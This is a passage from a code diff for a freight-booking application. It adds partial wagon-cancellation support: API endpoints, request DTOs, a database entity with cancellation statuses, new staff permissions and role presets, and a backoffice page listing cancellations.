TCurrentUser, + ) { + const companyId = await this.bookingsService.resolveCustomerCompanyId(user?.id ?? ''); + if (!companyId) throw new ForbiddenException('No customer company for this user.'); + return this.wagonCancellationService.list({ + companyId, + status: filter.statuses, + search: filter.search, + from: filter.from ? new Date(filter.from) : undefined, + to: filter.to ? new Date(filter.to) : undefined, + page: filter.page, + pageSize: filter.pageSize, + }); + } + + @Get('wagon-cancellations/history') + @WagonCancellationView() + @ApiOperation({ summary: 'All wagon cancellations (staff, paginated, filterable)' }) + async listAllWagonCancellations(@Query() filter: FilterWagonCancellationsDto) { + return this.wagonCancellationService.list({ + status: filter.statuses, + search: filter.search, + from: filter.from ? new Date(filter.from) : undefined, + to: filter.to ? new Date(filter.to) : undefined, + page: filter.page, + pageSize: filter.pageSize, + }); + } + + @Post('wagon-cancellations/:cancellationId/withdraw') + @ApiOperation({ summary: 'Withdraw a fee-pending wagon cancellation (owner, or staff with the void permission)' }) + async withdrawWagonCancellation( + @Param('cancellationId', ParseUUIDPipe) cancellationId: string, + @CurrentUser() user: TCurrentUser, + ) { + await this.assertWagonCancellationActor( + cancellationId, + user, + FREIGHT_PERMS.bookings.wagonCancellationVoid, + ); + return this.wagonCancellationService.withdraw(cancellationId); + } + + @Post('wagon-cancellations/:cancellationId/rebook') + @ApiOperation({ + summary: + 'Rebook a wagon-cancellation credit: pick a shipment day only — the new booking is created under the contract and marked PAID (freight already paid; contract must still be valid)', + }) + async rebookWagonCancellation( + @Param('cancellationId', ParseUUIDPipe) cancellationId: string, + @Body() dto: RebookCancelledWagonsDto, + @CurrentUser() user: TCurrentUser, + ) { + await this.assertWagonCancellationActor( + cancellationId, + user, + FREIGHT_PERMS.bookings.wagonCancellationRebook, + ); + return this.wagonCancellationService.rebook(cancellationId, dto, user?.id); + } + + /** Owner-or-staff gate shared by the per-cancellation actions. */ + private async assertWagonCancellationActor( + cancellationId: string, + user: TCurrentUser, + staffPermission: string, + ): Promise { + if (hasFreightPermission(user, staffPermission)) return; + const row = await this.wagonCancellationService.findById(cancellationId); + const booking = await this.bookingsService.findById(row.bookingId); + await this.bookingsService.assertCustomerCanAccessBooking(user?.id, booking); + } + @Get(':id/customer-trucks') @ApiOperation({ summary: 'List customer self-haul trucks (multi-truck) for a booking' }) async listCustomerTrucks( diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts index 84354d860..3f04bcd7a 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts @@ -38,6 +38,9 @@ import { BookingRateSnapshot } from './entities/booking-rate-snapshot.entity'; import { BookingContractSignature } from './entities/booking-contract-signature.entity'; import { BookingReviewNote } from './entities/booking-review-note.entity'; import { Booking } from './entities/booking.entity'; +import { BookingWagonCancellation } from './entities/booking-wagon-cancellation.entity'; +import { BookingWagonCancellationsRepository } from './booking-wagon-cancellations.repository'; +import { BookingWagonCancellationService } from './booking-wagon-cancellation.service'; import { CustomerTruckAssignment } from './entities/customer-truck-assignment.entity'; import { CustomerTruckContainer } from './entities/customer-truck-container.entity'; import { CustomerTruckAssignmentsRepository } from './customer-truck-assignments.repository'; @@ -65,6 +68,7 @@ import { VehiclesModule } from "../vehicles/vehicles.module"; BookingReviewNote, BookingContractSignature, BookingContainerAllocation, + BookingWagonCancellation, CustomerTruckAssignment, CustomerTruckContainer, ]), @@ -109,6 +113,8 @@ import { VehiclesModule } from "../vehicles/vehicles.module"; CustomerTruckAssignmentsRepository, CustomerTruckService, ContainerReceiptService, + BookingWagonCancellationsRepository, + BookingWagonCancellationService, ], exports: [ BookingsService, @@ -120,6 +126,7 @@ import { VehiclesModule } from "../vehicles/vehicles.module"; ConsolidationService, CustomerTruckService, ContainerReceiptService, + BookingWagonCancellationService, ], }) export class BookingsModule { } diff --git a/apps/edr-freight-api/src/modules/bookings/dto/wagon-cancellation.dto.ts b/apps/edr-freight-api/src/modules/bookings/dto/wagon-cancellation.dto.ts new file mode 100644 index 000000000..c2b5b39b1 --- /dev/null +++ b/apps/edr-freight-api/src/modules/bookings/dto/wagon-cancellation.dto.ts @@ -0,0 +1,99 @@ +import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { Type } from 'class-transformer'; +import { + ArrayNotEmpty, + IsArray, + IsDateString, + IsIn, + IsInt, + IsNumber, + IsOptional, + IsString, + MaxLength, + Min, + ValidateNested, +} from 'class-validator'; + +import { WAGON_CANCELLATION_STATUSES } from '../entities/booking-wagon-cancellation.entity'; + +export class CancelContainerLineDto { + @ApiProperty({ description: 'Container size (ft) as stored on the booking line, e.g. "20", "40"' }) + @IsString() + containerSize!: string; + + @ApiProperty({ description: 'How many units of this size to cancel' }) + @IsInt() + @Min(1) + quantity!: number; +} + +export class RequestWagonCancellationDto { + @ApiPropertyOptional({ + description: 'BULK bookings: number of wagons to cancel (tons derived proportionally)', + }) + @IsOptional() + @IsNumber() + @Min(0.5) + wagons?: number; + + @ApiPropertyOptional({ + description: 'CONTAINER bookings: units to cancel per size (wagons derived per size)', + type: [CancelContainerLineDto], + }) + @IsOptional() + @IsArray() + @ArrayNotEmpty() + @ValidateNested({ each: true }) + @Type(() => CancelContainerLineDto) + containers?: CancelContainerLineDto[]; + + @ApiPropertyOptional({ description: 'Customer reason for the cancellation' }) + @IsOptional() + @IsString() + @MaxLength(1000) + reason?: string; +} + +export class RebookCancelledWagonsDto { + @ApiProperty({ description: 'Shipment day the credit is rebooked onto (ISO date)' }) + @IsDateString() + scheduledDate!: string; +} + +export class FilterWagonCancellationsDto { + @ApiPropertyOptional({ enum: WAGON_CANCELLATION_STATUSES, isArray: true }) + @IsOptional() + @IsArray() + @IsIn(WAGON_CANCELLATION_STATUSES as readonly string[], { each: true }) + statuses?: string[]; + + @ApiPropertyOptional({ description: 'Booking reference / company name search' }) + @IsOptional() + @IsString() + @MaxLength(120) + search?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsDateString() + from?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsDateString() + to?: string; + + @ApiPropertyOptional({ default: 1 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + page?: number; + + @ApiPropertyOptional({ default: 10 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + pageSize?: number; +} diff --git a/apps/edr-freight-api/src/modules/bookings/entities/booking-wagon-cancellation.entity.ts b/apps/edr-freight-api/src/modules/bookings/entities/booking-wagon-cancellation.entity.ts new file mode 100644 index 000000000..24d5edbf7 --- /dev/null +++ b/apps/edr-freight-api/src/modules/bookings/entities/booking-wagon-cancellation.entity.ts @@ -0,0 +1,123 @@ +import { BaseEntity } from '@edr/api-common'; +import { Column, Entity, Index, JoinColumn, ManyToOne } from 'typeorm'; + +import { Invoice } from '../../billing/entities/invoice.entity'; +import { Rate } from '../../rule-engine/entities/rate.entity'; +import { Booking } from './booking.entity'; + +export const WAGON_CANCELLATION_STATUSES = [ + // Requested; fee invoice open; wagons still allocated to the customer. + 'FEE_PENDING', + // Fee settled; booking reduced, wagons freed; credit waiting for a rebook. + 'CREDIT_AVAILABLE', + // Credit redeemed into a new PAID booking (rebookedBookingId). + 'REBOOKED', + // Customer/staff voided the request before paying the fee. Nothing changed. + 'WITHDRAWN', + // Reserved for a future expiry policy; not set by code today. + 'EXPIRED', +] as const; + +export type WagonCancellationStatus = (typeof WAGON_CANCELLATION_STATUSES)[number]; + +/** Snapshot of one physical container unit cut by the cancellation. */ +export interface CancelledUnitSnapshot { + containerSize: string; + containerNumber: string; + sealNumber?: string | null; + vgmTons: number; + isHazardous: boolean; + isReefer: boolean; +} + +/** What the cancellation cut, in the booking's own quantity terms. */ +export interface CancelledQuantities { + /** Bulk bookings: tons cut (PER_ITEM cargo: item count, matching cargoTotalWeightVgm). */ + bulkTons?: number; + /** Container bookings: units cut per container size. */ + bySize?: Record; + /** + * Container bookings: the exact physical units cut, snapshotted at fee + * settlement. The rebook reconstructs the new booking from THESE — never + * from a soft-deleted-row scan, which could pick up units dropped by an + * unrelated batch split on the same booking. + */ + units?: CancelledUnitSnapshot[]; +} + +/** + * One partial-wagon-cancellation cycle on a PAID booking — the audit trail and + * the state machine. The credit itself is not a wallet balance: redeeming it + * creates a real booking through the under-contract create path and marks it + * PAID (see BookingWagonCancellationService). + */ +@Entity({ schema: 'freight', name: 'booking_wagon_cancellations' }) +@Index(['bookingId']) +@Index(['status']) +export class BookingWagonCancellation extends BaseEntity { + @Column({ name: 'booking_id', type: 'uuid' }) + bookingId!: string; + + @ManyToOne(() => Booking) + @JoinColumn({ name: 'booking_id' }) + booking?: Booking; + + @Column({ name: 'rebooked_booking_id', type: 'uuid', nullable: true }) + rebookedBookingId?: string | null; + + @ManyToOne(() => Booking, { nullable: true }) + @JoinColumn({ name: 'rebooked_booking_id' }) + rebookedBooking?: Booking | null; + + @Column({ name: 'wagons_cancelled', type: 'numeric', precision: 6, scale: 2 }) + wagonsCancelled!: number; + + @Column({ name: 'weight_tons', type: 'numeric', precision: 12, scale: 3, default: 0 }) + weightTons!: number; + + @Column({ name: 'cancelled_quantities', type: 'jsonb' }) + cancelledQuantities!: CancelledQuantities; + + /** + * The freight value of the cancelled part at the ORIGINAL booking's price — + * informational (shown to the customer as "credit worth"); no refund is ever + * issued from it, the credit is redeemed by rebooking. + */ + @Column({ name: 'credit_amount', type: 'numeric', precision: 14, scale: 2, default: 0 }) + creditAmount!: number; + + @Column({ name: 'fee_rate_id', type: 'uuid', nullable: true }) + feeRateId?: string | null; + + @ManyToOne(() => Rate, { nullable: true }) + @JoinColumn({ name: 'fee_rate_id' }) + feeRate?: Rate | null; + + @Column({ name: 'fee_amount', type: 'numeric', precision: 14, scale: 2 }) + feeAmount!: number; + + @Column({ name: 'fee_currency', type: 'varchar', length: 8, default: 'ETB' }) + feeCurrency!: string; + + @Column({ name: 'fee_invoice_id', type: 'uuid', nullable: true }) + feeInvoiceId?: string | null; + + @ManyToOne(() => Invoice, { nullable: true }) + @JoinColumn({ name: 'fee_invoice_id' }) + feeInvoice?: Invoice | null; + + @Column({ name: 'fee_paid_at', type: 'timestamptz', nullable: true }) + feePaidAt?: Date | null; + + @Column({ name: 'status', type: 'varchar', length: 30, default: 'FEE_PENDING' }) + status!: string; + + @Column({ name: 'reason', type: 'text', nullable: true }) + reason?: string | null; + + @Column({ name: 'requested_by_user_id', type: 'uuid', nullable: true }) + requestedByUserId?: string | null; + + @Column({ name: 'rebooked_at', type: 'timestamptz', nullable: true }) + rebookedAt?: Date | null; +} diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index 889345733..9fbedf7e0 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -68,6 +68,11 @@ export const BOOKING_PERMISSIONS: FreightPermissionSeed[] = [ // Header alarm for the document-review deadline: its own key so only the // position types that actually decide operation requests are alerted. perm('a1000001-0001-4000-8000-000000000025', 'edr_freight_app:bookings:doc_review_alert', 'See document-review deadline alarm'), + // Partial wagon cancellation (paid bookings): staff-side keys. The customer + // portal needs none — customer actions are ownership-scoped on the API. + perm('a1000001-0001-4000-8000-000000000026', 'edr_freight_app:bookings:wagon_cancellation_view', 'View wagon cancellation history'), + perm('a1000001-0001-4000-8000-000000000027', 'edr_freight_app:bookings:wagon_cancellation_void', 'Void a pending wagon cancellation'), + perm('a1000001-0001-4000-8000-000000000028', 'edr_freight_app:bookings:wagon_cancellation_rebook', 'Rebook cancelled wagons for a customer'), ]; /** @@ -431,6 +436,9 @@ export const FREIGHT_PERMS = { uploadClearanceOutput: 'edr_freight_app:bookings:upload_clearance_output', finalizeClearance: 'edr_freight_app:bookings:finalize_clearance', docReviewAlert: 'edr_freight_app:bookings:doc_review_alert', + wagonCancellationView: 'edr_freight_app:bookings:wagon_cancellation_view', + wagonCancellationVoid: 'edr_freight_app:bookings:wagon_cancellation_void', + wagonCancellationRebook: 'edr_freight_app:bookings:wagon_cancellation_rebook', }, contracts: { view: 'edr_freight_app:contracts:view', @@ -825,6 +833,8 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.approveLineStaff, FREIGHT_PERMS.bookings.rejectApproval, FREIGHT_PERMS.bookings.cancel, + FREIGHT_PERMS.bookings.wagonCancellationView, + FREIGHT_PERMS.bookings.wagonCancellationVoid, FREIGHT_PERMS.contracts.view, ...bothFreightTypes(FREIGHT_PERMS.contracts.staffAccept), ...bothFreightTypes(FREIGHT_PERMS.contracts.requestChanges), @@ -837,6 +847,7 @@ export const ROLE_PERMISSION_PRESETS = { operationsOfficer: [ FREIGHT_PERMS.bookings.view, FREIGHT_PERMS.bookings.operations, + FREIGHT_PERMS.bookings.wagonCancellationView, // They are the ones who accept/reject operation requests, so they are the // ones the doc-review countdown is for. FREIGHT_PERMS.bookings.docReviewAlert, @@ -877,7 +888,7 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.contracts.approveCeo, ...allRuleEngineViewKeys(), ], - finance: [FREIGHT_PERMS.bookings.view], + finance: [FREIGHT_PERMS.bookings.view, FREIGHT_PERMS.bookings.wagonCancellationView], // Global Logistics: manages ONLY the customs-clearance queue. Scoped out of // the general booking-request list (no bookings:view) — instead a dedicated // clearance:view permission lists the clearance bookings. Reviews customer @@ -920,6 +931,9 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.approveLineStaff, FREIGHT_PERMS.bookings.rejectApproval, FREIGHT_PERMS.bookings.cancel, + FREIGHT_PERMS.bookings.wagonCancellationView, + FREIGHT_PERMS.bookings.wagonCancellationVoid, + FREIGHT_PERMS.bookings.wagonCancellationRebook, FREIGHT_PERMS.bookings.generateContract, FREIGHT_PERMS.bookings.signStaff, FREIGHT_PERMS.bookings.reviewDocuments, diff --git a/apps/edr-freight-web/backoffice/src/App.tsx b/apps/edr-freight-web/backoffice/src/App.tsx index bda88d912..6733df0d7 100644 --- a/apps/edr-freight-web/backoffice/src/App.tsx +++ b/apps/edr-freight-web/backoffice/src/App.tsx @@ -29,6 +29,7 @@ import { Wallet, LifeBuoy, TrainFront, + XCircle, } from "lucide-react"; import { useEffect } from "react"; import { @@ -54,6 +55,7 @@ import BookingContractPage from "./pages/bookings/BookingContractPage"; import BookingRequestDetailPage from "./pages/bookings/BookingRequestDetailPage"; import BookingRequestsPage from "./pages/bookings/BookingRequestsPage"; import NewBookingPage from "./pages/bookings/NewBookingPage"; +import WagonCancellationsPage from "./pages/bookings/WagonCancellationsPage"; import ContractRequestsPage from "./pages/contracts/ContractRequestsPage"; import ContractRequestDetailPage from "./pages/contracts/ContractRequestDetailPage"; import ContractViewPage from "./pages/contracts/ContractViewPage"; @@ -184,6 +186,12 @@ const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] => [ icon: , permission: FREIGHT_PERMS.bookings.view, }, + { + label: "Wagon cancellations", + href: "/dashboard/wagon-cancellations", + icon: , + permission: FREIGHT_PERMS.bookings.wagonCancellationView, + }, // Operations hub: per-shipment clearance-document review for services // WITHOUT customs clearing (self-clearance) — bookings only. { @@ -897,6 +905,16 @@ const App = () => { } /> } /> + + + + } + /> } diff --git a/apps/edr-freight-web/backoffice/src/lib/permissions.ts b/apps/edr-freight-web/backoffice/src/lib/permissions.ts index ba7dd78ab..d6f4acdaa 100644 --- a/apps/edr-freight-web/backoffice/src/lib/permissions.ts +++ b/apps/edr-freight-web/backoffice/src/lib/permissions.ts @@ -27,6 +27,10 @@ export const FREIGHT_PERMS = { uploadClearanceOutput: "edr_freight_app:bookings:upload_clearance_output", finalizeClearance: "edr_freight_app:bookings:finalize_clearance", docReviewAlert: "edr_freight_app:bookings:doc_review_alert", + wagonCancellationView: "edr_freight_app:bookings:wagon_cancellation_view", + wagonCancellationVoid: "edr_freight_app:bookings:wagon_cancellation_void", + wagonCancellationRebook: + "edr_freight_app:bookings:wagon_cancellation_rebook", }, contracts: { view: "edr_freight_app:contracts:view", diff --git a/apps/edr-freight-web/backoffice/src/pages/bookings/WagonCancellationsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/bookings/WagonCancellationsPage.tsx new file mode 100644 index 000000000..fff83d479 --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/pages/bookings/WagonCancellationsPage.tsx @@ -0,0 +1,420 @@ +import { + Anchor, + Badge, + Box, + Button, + Card, + Group, + Modal, + Select, + Stack, + Text, + TextInput, +} from "@mantine/core"; +import { DateInput } from "@mantine/dates"; +import { useDebouncedValue } from "@mantine/hooks"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { Search, XCircle } from "lucide-react"; +import { useMemo, useState } from "react"; +import toast from "react-hot-toast"; +import { Link } from "react-router-dom"; + +import { api } from "@/auth/http"; +import { useAuth } from "@/auth/useAuth"; +import { PageContainer, PageHeader } from "@/components/page"; +import { toDayString } from "@/hooks/useListControls"; +import { FREIGHT_PERMS, hasPermission } from "@/lib/permissions"; +import { + DataTable, + DataTableFooter, + usePagination, + type ColumnDef, +} from "@edr/ui-common"; + +type WagonCancellationStatus = + | "FEE_PENDING" + | "CREDIT_AVAILABLE" + | "REBOOKED" + | "WITHDRAWN" + | "EXPIRED"; + +interface WagonCancellation { + id: string; + bookingId: string; + rebookedBookingId?: string | null; + wagonsCancelled: number; + weightTons: number; + creditAmount: number; + feeAmount: number; + feeCurrency: string; + feeInvoiceId?: string | null; + feePaidAt?: string | null; + status: WagonCancellationStatus; + reason?: string | null; + rebookedAt?: string | null; + createdAt: string; + booking?: { id: string; reference: string; company?: { name: string } }; + rebookedBooking?: { id: string; reference: string }; + feeInvoice?: { invoiceNumber: string; status: string }; +} + +interface WagonCancellationListResponse { + items: WagonCancellation[]; + total: number; +} + +const STATUS_CHIP: Record< + WagonCancellationStatus, + { label: string; color: string } +> = { + FEE_PENDING: { label: "Fee pending", color: "yellow" }, + CREDIT_AVAILABLE: { label: "Credit available", color: "edr-green" }, + REBOOKED: { label: "Rebooked", color: "indigo" }, + WITHDRAWN: { label: "Withdrawn", color: "gray" }, + EXPIRED: { label: "Expired", color: "red" }, +}; + +const STATUS_FILTER_OPTIONS = ( + Object.keys(STATUS_CHIP) as WagonCancellationStatus[] +).map((s) => ({ value: s, label: STATUS_CHIP[s].label })); + +function StatusChip({ status }: { status: WagonCancellationStatus }) { + const chip = STATUS_CHIP[status] ?? { label: status, color: "gray" }; + return ( + + {chip.label} + + ); +} + +function formatDate(iso: string | null | undefined): string { + if (!iso) return "—"; + const d = new Date(iso); + return Number.isNaN(d.getTime()) + ? "—" + : d.toLocaleDateString(undefined, { + year: "numeric", + month: "short", + day: "numeric", + }); +} + +function formatAmount(amount: number, currency: string): string { + return `${currency} ${Number(amount).toLocaleString(undefined, { + minimumFractionDigits: 2, + })}`; +} + +/** + * Staff view of partial wagon cancellations: every slice of capacity a + * customer gave back, its cancellation fee, and where the credit went + * (rebooked, still available, expired, or the request was voided). + */ +export default function WagonCancellationsPage() { + const { user } = useAuth(); + const canVoid = hasPermission( + user, + FREIGHT_PERMS.bookings.wagonCancellationVoid, + ); + + const { pagination, setPagination } = usePagination({ pageSize: 10 }); + const [status, setStatus] = useState(null); + const [search, setSearch] = useState(""); + const [debouncedSearch] = useDebouncedValue(search, 300); + const [from, setFrom] = useState(null); + const [to, setTo] = useState(null); + const [voiding, setVoiding] = useState(null); + + const resetPage = () => + setPagination({ pageIndex: 0, pageSize: pagination.pageSize }); + + const filter = useMemo( + () => ({ + page: pagination.pageIndex + 1, + pageSize: pagination.pageSize, + ...(status ? { statuses: status } : {}), + ...(debouncedSearch.trim() ? { search: debouncedSearch.trim() } : {}), + ...(from ? { from: toDayString(from) } : {}), + ...(to ? { to: toDayString(to) } : {}), + }), + [pagination.pageIndex, pagination.pageSize, status, debouncedSearch, from, to], + ); + + const { data, isLoading, isError, refetch } = useQuery({ + queryKey: ["bookings", "wagon-cancellations", filter], + queryFn: async () => { + const res = await api.get( + "/bookings/wagon-cancellations/history", + { params: filter }, + ); + return res.data; + }, + }); + const rows = data?.items ?? []; + const total = data?.total ?? 0; + const pageCount = Math.max(1, Math.ceil(total / pagination.pageSize)); + + const withdraw = useMutation({ + mutationFn: (id: string) => + api.post(`/bookings/wagon-cancellations/${id}/withdraw`), + }); + + const columns: ColumnDef[] = [ + { + id: "requested", + header: () => Requested, + cell: ({ row }) => ( + + {formatDate(row.original.createdAt)} + + ), + }, + { + id: "booking", + header: () => Booking, + cell: ({ row }) => ( + + {row.original.booking?.reference ?? row.original.bookingId} + + ), + }, + { + id: "company", + header: () => Company, + cell: ({ row }) => ( + {row.original.booking?.company?.name ?? "—"} + ), + }, + { + id: "wagons", + header: () => Wagons, + cell: ({ row }) => {row.original.wagonsCancelled}, + }, + { + id: "fee", + header: () => Fee, + cell: ({ row }) => ( + + {formatAmount(row.original.feeAmount, row.original.feeCurrency)} + + ), + }, + { + id: "credit", + header: () => Credit, + cell: ({ row }) => ( + + {formatAmount(row.original.creditAmount, row.original.feeCurrency)} + + ), + }, + { + id: "status", + header: () => Status, + cell: ({ row }) => , + }, + { + id: "rebookedAs", + header: () => Rebooked as, + cell: ({ row }) => { + const r = row.original; + if (!r.rebookedBookingId) return ; + return ( + + {r.rebookedBooking?.reference ?? r.rebookedBookingId} + + ); + }, + }, + { + id: "actions", + header: () => , + cell: ({ row }) => { + const r = row.original; + if (r.status !== "FEE_PENDING" || !canVoid) return null; + return ( + + + + ); + }, + }, + ]; + + return ( + + + + + + + + } + value={search} + onChange={(e) => { + setSearch(e.currentTarget.value); + resetPage(); + }} + w={260} + radius="md" + /> +